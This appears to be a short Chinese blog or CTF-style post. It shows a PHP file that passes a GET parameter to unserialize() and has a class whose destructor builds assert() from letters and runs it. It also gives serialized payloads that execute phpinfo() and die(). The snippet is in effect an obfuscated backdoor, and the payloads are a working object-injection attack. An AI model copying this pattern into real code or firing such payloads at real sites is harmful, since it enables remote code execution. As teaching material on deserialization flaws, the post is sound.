在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
<?php // +---------------------------------------------------------------------- // | Copyright (c) 2006-2012 KingBin All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: KingBin [email protected] // +---------------------------------------------------------------------- error_reporting(0); class test { public $fn=array('a','s','s','e','r','t'); public $str; function __destruct() { $r = join(null,$this->fn); return $r($this->str); } } if($_GET['url']) unserialize($_GET['url']) && die(); show_source(__FILE__); ?> 所以 只要我们提交一个
$o=new test; $o->str='phpinfo()'; 那么是不是就会起到执行phpinfo呢? 所以转换一下 xx.php?url=O:4:"test":1:{s:3:"str";s:9:"phpinfo()";} 就会执行了 这个类~~~~ 如
?url=O:4:%22test%22:2:{s:2:%22fn%22;a:6:{i:0;s:1:%22a%22;i:1;s:1:%22s%22;i:2;s:1:%22s%22;i:3;s:1:%22e%22;i:4;s:1:%22r%22;i:5;s:1:%22t%22;}s:3:%22str%22;s:18:%22die('heelo%20world')%22;}
|
2022-08-15
2022-08-17
2022-11-06
2022-08-17
2022-07-18
请发表评论